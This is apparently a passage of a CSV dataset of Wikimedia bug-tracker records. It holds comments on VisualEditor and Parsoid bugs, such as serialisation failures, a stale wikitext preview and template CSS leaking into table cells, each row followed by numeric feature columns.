+**Severity**: normal",High,80.0,1361474340,1363280996.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-zbiughyq34hw6tacnlnj,task_description,resolved,True,c1,1,True,False,True,-19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+207620,VisualEditor: Create isolate method in SurfaceFragement,This code was merged.,,,1363280996,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zbiughyq34hw6tacnlnj,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+207614,VisualEditor: Create isolate method in SurfaceFragement,https://gerrit.wikimedia.org/r/#/c/50199/,,,1361564493,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-zbiughyq34hw6tacnlnj,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+47061,VisualEditor: Remove all code related to change markers,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1360974360,1367527194.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-njupimbksvxhw4nnmsfy,task_description,resolved,True,c1,1,True,False,True,-20,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+222193,VisualEditor: Remove all code related to change markers,This is now merged.,,,1367527194,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-njupimbksvxhw4nnmsfy,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+222184,VisualEditor: Remove all code related to change markers,Public documentation at http://www.mediawiki.org/wiki/VisualEditor/Change_markers should be deleted or marked as deprecated once this has been merged.,,,1361228878,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-njupimbksvxhw4nnmsfy,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+222175,VisualEditor: Remove all code related to change markers,https://gerrit.wikimedia.org/r/#/c/49363/,,,1360975640,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-njupimbksvxhw4nnmsfy,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+47029,VisualEditor: Support transactions on metadata,"In order to implement a category editor, we'll need to be able to process transactions on metadata.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1360890960,1360891883.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-266a7gondg6gygyomb2r,task_description,resolved,True,c1,1,False,False,True,-20,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+219916,VisualEditor: Support transactions on metadata,https://gerrit.wikimedia.org/r/#/c/49182/,,,1360891883,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-266a7gondg6gygyomb2r,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+47021,VisualEditor: Wikitext preview doesn't refresh in new page creation mode,"1. Load a new (i.e. not currently existing) page into VE
+2. Type some text
+3. Click ""Review and save"". The corresponding wikitext appears in a flyout
+4. Close the flyout using the up arrow
+5. Change the text in the editor
+6. Click ""Review and save"" again.
+
+The flyout that appears in #6 will display the same wikitext as in #3, even though you changed the document. The diff flyout handles this correctly (i.e. it caches the old diff until you change something), but the serialization flyout for new page creation never clears its cache.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1360878660,1360878886.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-tqdmz6elwsrngx5orrvl,task_description,resolved,True,c1,1,False,False,True,-20,,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+219456,VisualEditor: Wikitext preview doesn't refresh in new page creation mode,"
+
+*** This bug has been marked as a duplicate of bug 44446 ***",,,1360878886,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tqdmz6elwsrngx5orrvl,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+46702,VisualEditor: Parsoid selective serialisation failure when deleting an LI (artefact of old version of Parsoid?),"**Author:** `phil`
+
+**Description:**
+shows the result after a save with 'friend' being duplicated
+
+Text was several lines long
+Placed cursor at start of last line
+Pressed delete to move the line up to the same line as the second to last
+Saved
+The last line has not been deleted and it also present on the second to last
+
+Screenshot attached
+This
+is
+the
+end
+my
+friend
+
+- put cursor at start of friend and pressed delete and then added a space
+
+Screenshot shows the result, 'friend' is now in twice
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10875}",High,80.0,1360124400,1366396569.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-jnxq7ir4c6munsrkbn2f,task_description,resolved,True,c1,1,False,False,True,-21,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+226357,VisualEditor: Parsoid selective serialisation failure when deleting an LI (artefact of old version of Parsoid?),This is now fixed given the Parsoid update. Sorry for the delay.,,,1366396569,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jnxq7ir4c6munsrkbn2f,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+226352,VisualEditor: Parsoid selective serialisation failure when deleting an LI (artefact of old version of Parsoid?),"Thanks for this, report Phil; I can confirm the issue.
+
+It is probably due to us running quite an old version of Parsoid on the live service; we need to update it to a newer version (which has been delayed for other before I can determine if we still have action to take here).",,,1360210562,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jnxq7ir4c6munsrkbn2f,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+46701,VisualEditor: Copy and paste at end of text loses some of copied text on save (Parsoid issue?),"**Author:** `phil`
+
+**Description:**
+Page after cut and paste of 'a b c' only showing the 'a'
+
+Created a simple file
+a
+b
+c
+
+Copied all the text, placed the cursor after the 'c' and pasted it
+The 'a' from the copy was pasted, the 'b' and 'c' were lost
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10869}",High,80.0,1360122240,1366396479.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-tzp63nj3bg2h6gjxrpwx,task_description,resolved,True,c1,1,False,False,True,-21,,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+226322,VisualEditor: Copy and paste at end of text loses some of copied text on save (Parsoid issue?),This is now fixed given the Parsoid update. Sorry for the delay.,,,1366396479,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tzp63nj3bg2h6gjxrpwx,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+226317,VisualEditor: Copy and paste at end of text loses some of copied text on save (Parsoid issue?),"Ah, right. This is, I think, a Parsoid-related bug, which should get fixed when the new version of Parsoid can be deployed; assigning to myself for review when we get that out.",,,1361403605,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tzp63nj3bg2h6gjxrpwx,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+226312,VisualEditor: Copy and paste at end of text loses some of copied text on save (Parsoid issue?),"**orbit** wrote:
+
+I think this is a serialization bug. The linear model shows the full data after paste:  
+[
+Object
+, ""a"", 
+Object
+, 
+Object
+, ""b"", 
+Object
+, 
+Object
+, ""c"", ""a"", 
+Object
+, 
+Object
+, ""b"", 
+Object
+, 
+Object
+, ""c"", 
+Object
+]
+but it's not correctly saving. Testing here: http://www.mediawiki.org/wiki/VisualEditor:CopyPaste",,,1361401270,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tzp63nj3bg2h6gjxrpwx,task_subcomment,,True,c1,1,False,,,-19,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0
+226306,VisualEditor: Copy and paste at end of text loses some of copied text on save (Parsoid issue?),"**phil** wrote:
+
+This was Safari/Mac - I have just tried it on Chrome/Mac and was able to reproduce
+
+Just to confirm the steps
+a
+b
+c
+
+Save this - this is 3 separate lines
+Edit
+Copy all the text, paste after the 'c'",,,1360210696,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tzp63nj3bg2h6gjxrpwx,task_subcomment,,True,c1,1,False,,,-21,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+226299,VisualEditor: Copy and paste at end of text loses some of copied text on save (Parsoid issue?),"Phil, what browser were you using? I'm afraid I cannot reproduce on Chrome/Mac or Safari/Mac; Firefox has wider issues (that mean I can't copy-and-paste anything; to follow-up).",,,1360210375,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tzp63nj3bg2h6gjxrpwx,task_subcomment,,True,c1,1,True,,,-21,,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,0
+46498,Template creating CSS in a table's cell does not come through,"Screenshot
+
+When edited in VisualEditor, the following table:
+
+```
+{| class=""wikitable""
+|- 
+! Header
+|-
+| {{Yes}}
+|}
+```
+... shows the following string in place of the {{Yes}} template:
+
+style=""background: #90ff90; color: black; vertical-align: middle; text-align: center; "" class=""table-yes""|Yes
+
+See screenshot.
+Live at http://en.wikipedia.org/wiki/User:Nicolas1981/Sandbox
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50589
+
+**Attached**: {F10493}",High,80.0,1359530280,1377186266.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-jer6pedsydbmctp5xlhb,task_description,resolved,True,c1,1,False,False,True,-22,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,1
+213915,Template creating CSS in a table's cell does not come through,"Change 76861 abandoned by Subramanya Sastry:
+WIP: first draft of td reparse.
+
+Reason:
+Not required anymore. A DOM-based solution is already merged and in production.
+
+https://gerrit.wikimedia.org/r/76861",,,1386964245,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,23,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+213907,Template creating CSS in a table's cell does not come through,Minor niggle: The caches are not yet cleared as we don't have the rights to do so. Cached pages will only update to the correct rendering after that has happened.,,,1377187050,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+213898,Template creating CSS in a table's cell does not come through,"(In reply to comment #31)
+> (In reply to comment #19)
+> > Scott, is the glitch with the certification tables at
+> > http://en.wikipedia.org/w/index.
+> > php?title=Metallica_%28album%29&oldid=566196578&veaction=edit
+> > another effect of 50589, this bug, or should I open a new bug report for it?
+> 
+> That was bug 50589, which is now fixed.
+
+Correction: It was very similar to 50589, but not quite the same.
+
+In other news about this bug, https://gerrit.wikimedia.org/r/#/c/79943/ is now deployed, which covers the vast majority of cases including the ones mentioned here. Closing as fixed.",,,1377186266,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,7,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+213888,Template creating CSS in a table's cell does not come through,"(In reply to comment #19)
+> Scott, is the glitch with the certification tables at
+> http://en.wikipedia.org/w/index.
+> php?title=Metallica_%28album%29&oldid=566196578&veaction=edit
+> another effect of 50589, this bug, or should I open a new bug report for it?
+
+That was bug 50589, which is now fixed.",,,1377035994,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+213880,Template creating CSS in a table's cell does not come through,The DOM handler is now ready for review in https://gerrit.wikimedia.org/r/#/c/79943/.,,,1377032382,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+213873,Template creating CSS in a table's cell does not come through,I'm working on a DOM-based handler for this. Re-assigning the bug to myself.,,,1376945009,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+213869,Template creating CSS in a table's cell does not come through,"Parsoid support for this and a related table parsing issue is tracked in bug 50603, and should be ready in the next weeks.",,,1375651884,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+213865,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:
+
+(In reply to comment #26)
+> On the enwiki-20130102-pages-articles-multistream.xml.bz2 dump, there are:
+>  13,057,082 articles, of which
+
+That looks like all namespaces, not just articles.
+
+>  11,877 (0.091%) have some use of [[Template:Table_cell_templates]], and
+>  1,875 (0.014%) have a non-trivial use (ie, the preceding character is not
+> |).
+
+That sounds about right. As a percentage of our most frequently edited articles, I suspect the percentage is much higher, though. The primary use is in award tables, and while the millions of articles about ghost towns, obscure shellfish, and asteroids tend not to discuss awards, while the ones about modern music, television, and films frequently do.",,,1375230977,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+213861,Template creating CSS in a table's cell does not come through,"On the enwiki-20130102-pages-articles-multistream.xml.bz2 dump, there are:
+ 13,057,082 articles, of which
+ 11,877 (0.091%) have some use of [[Template:Table_cell_templates]], and
+ 1,875 (0.014%) have a non-trivial use (ie, the preceding character is not |).",,,1375230080,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,4,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+213855,Template creating CSS in a table's cell does not come through,"Change 76861 had a related patch set uploaded by Cscott:
+WIP: first draft of td reparse.
+
+https://gerrit.wikimedia.org/r/76861",,,1375228678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+213850,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:
+
+(In reply to comment #23)
+> (In reply to comment #22)
+> > (In reply to comment #19)
+> > > Scott, is the glitch with the certification tables at
+> > > http://en.wikipedia.org/w/index.
+> > > php?title=Metallica_%28album%29&oldid=566196578&veaction=edit
+> > > another effect of 50589, this bug, or should I open a new bug report for it?
+> > 
+> > No, this is bug 52254 (which Roan already opened based on your report).
+> 
+> 52254 is relative to the incorrect italicization and bolding in the lead. It
+> does not cover the corrupted certification table (near the bottom), which is
+> another case of a template creating table markup which is displayed
+> incorrectly.
+
+Opened https://bugzilla.wikimedia.org/show_bug.cgi?id=52296 
+
+The more I play with it, the more it feels like a third related bug. It's clearly not 50589 because Parsoid can't parse it correctly, but I don't think it's a duplicate of this one, either.",,,1375219011,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+213845,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:
+
+(In reply to comment #22)
+> (In reply to comment #19)
+> > Scott, is the glitch with the certification tables at
+> > http://en.wikipedia.org/w/index.
+> > php?title=Metallica_%28album%29&oldid=566196578&veaction=edit
+> > another effect of 50589, this bug, or should I open a new bug report for it?
+> 
+> No, this is bug 52254 (which Roan already opened based on your report).
+
+52254 is relative to the incorrect italicization and bolding in the lead. It does not cover the corrupted certification table (near the bottom), which is another case of a template creating table markup which is displayed incorrectly.",,,1375213651,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+213840,Template creating CSS in a table's cell does not come through,"(In reply to comment #19)
+> Scott, is the glitch with the certification tables at
+> http://en.wikipedia.org/w/index.
+> php?title=Metallica_%28album%29&oldid=566196578&veaction=edit
+> another effect of 50589, this bug, or should I open a new bug report for it?
+
+No, this is bug 52254 (which Roan already opened based on your report).",,,1375212812,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+213831,Template creating CSS in a table's cell does not come through,"Change 76758 merged by jenkins-bot:
+Add new parserTests for table cell attributes coming from templates.
+
+https://gerrit.wikimedia.org/r/76758",,,1375212224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+213822,Template creating CSS in a table's cell does not come through,"Change 76758 had a related patch set uploaded by Cscott:
+Add new parserTests for table cell attributes coming from templates.
+
+https://gerrit.wikimedia.org/r/76758",,,1375211044,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+213817,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:
+
